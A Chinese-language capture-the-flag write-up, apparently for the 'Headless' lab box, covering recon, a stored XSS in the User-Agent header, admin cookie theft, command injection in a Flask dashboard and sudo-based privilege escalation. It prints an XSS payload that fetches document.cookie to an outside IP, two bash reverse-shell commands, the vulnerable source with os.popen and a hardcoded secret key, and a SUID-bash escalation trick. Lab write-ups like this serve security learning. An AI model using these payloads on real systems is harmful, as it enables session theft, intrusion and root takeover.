Headless
首先nmap扫端口
开放22和5000端口
其中5000端口为一个upnp服务
浏览器可以直接进行访问
扫一下目录
直接访问dashboard
提示未授权
只能从另一个路由support
下手
页面如图
随便注点东西看看响应
发现存在waf,直接给出请求信息
这段话直接给出提示你的 IP 地址已经被标记,你的浏览器信息已经被发送 给管理员进行调查
观察到存在cookie,联想到dashboard无法直接访问,推测cookie是重点,直接base64解一下有点有点信息
根据这里的提示,我们的信息发送给管理员后,若能够成功触发xss就能够获取到管理员的cookie,从而利用管理员的Cookie成功进入到/dashboard
这里经过先前测试,无法在内容框中进行xss,但是根据所提供的页面信息,他会对所发送的请求的头也进行回显,因此这里尝试在请求头中注入xss,抓包将User-Agent
修改为如下payload(ip为vpn所提供的内网环境)
<img src=x onerror=fetch('http://10.10.16.13/?c='+document.cookie);>
具体请求包如下
本地起一个http.server接收(环境问题,接收到的时间比较久)
成功拿到admin
的cookie
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
抓包修改cookid为获取到的admin的cookie,成功进入dashboard
进入页面后,存在一个日期选择的按钮,可以选择日期进行查询网站健康报告,直接进行日期查询返回Systems are up and running!
(系统已启动并运行!)
看到select以为是一个sql注入,没注成功,后面尝试其他方法,结果直接一个命令拼接
成功RCE,下一步直接弹shell
bash+-c+"bash+-i+>%26+/dev/tcp/10.10.16.18/6666+0>%261"
拿到shell了看看源码
from flask import Flask, render_template, request, make_response, abort, send_file
from itsdangerous import URLSafeSerializer
import os
import random
app = Flask(__name__, template_folder=".")
app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)
hacking_reports_dir = '/home/dvir/app/hacking_reports'
os.makedirs(hacking_reports_dir, exist_ok=True)
@app.route('/')
def index():
client_ip = request.remote_addr
is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
token = "admin" if is_admin else "user"
serialized_value = serializer.dumps(token)
response = make_response(render_template('index.html', is_admin=token))
response.set_cookie('is_admin', serialized_value, httponly=False)
return response
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)
@app.route('/support', methods=['GET', 'POST'])
def support():
if request.method == 'POST':
message = request.form.get('message')
if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
request_info = {
"Method": request.method,
"URL": request.url,
"Headers": format_request_info(dict(request.headers)),
}
formatted_request_info = format_request_info(request_info)
html = render_template('hackattempt.html', request_info=formatted_request_info)
filename = f'{random.randint(1, 99999999999999999999999)}.html'
with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
html_file.write(html)
return html
return render_template('support.html')
@app.route('/hacking_reports/<int:report_number>')
def hacking_reports(report_number):
report_file = os.path.join(hacking_reports_dir, f'{report_number}.html')
if os.path.exists(report_file):
return send_file(report_file)
else:
return "Report not found", 404
def format_request_info(info):
formatted_info = ''
for key, value in info.items():
formatted_info += f"<strong>{key}:</strong> {value}<br>"
return formatted_info
def format_form_data(form_data):
formatted_data = {}
for key, value in form_data.items():
formatted_data[key] = value
return formatted_data
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
造成命令注入的代码为:
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)
这里将用户输入的date
直接进行拼接到命令中,所有当我们输入;ls
时,实际上执行的命令为bash report.sh;ls
,含义为bash指令首先执行report.sh ,然后执行输入的指令ls
拿到shell了之后用户为dvir
在/home/dvir
下拿到第一个普通用户flag
下一步目标:提权到root
还是用linpeas.sh
做一个信息搜集
发现,当前用户可以以管理员权限执行的指令有一个/usr/bin/syscheck
cat看一下功能
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
这个脚本若以可以以管理员身份启动sudo /usr/bin/syscheck
,关键在于,若进程中没有initdb.sh
,则会继续以管理员身份运行当前目录下的initdb.sh
文件
这里直接向当前目录下创建一个initdb.sh
文件,里面再写一个反弹shell的指令:
bash -c "bash -i >& /dev/tcp/10.10.16.18/1111 0>&1"
当执行sudo /usr/bin/syscheck
时,运行initdb.sh
就能达到反弹shell
成功拿到root权限的shell
到root目录下直接cat就结束
P.S:
网上目前出来的一些wp在最后提权的利用方法为:向initdb.sh
文件中写chmod u+s /bin/bash
使得任意用户可以以root身份执行/bin/bash
,调用完成后以/bin/bash -p
不以当前用户初始化文件,纯净启动,即可拿到root的shell,学习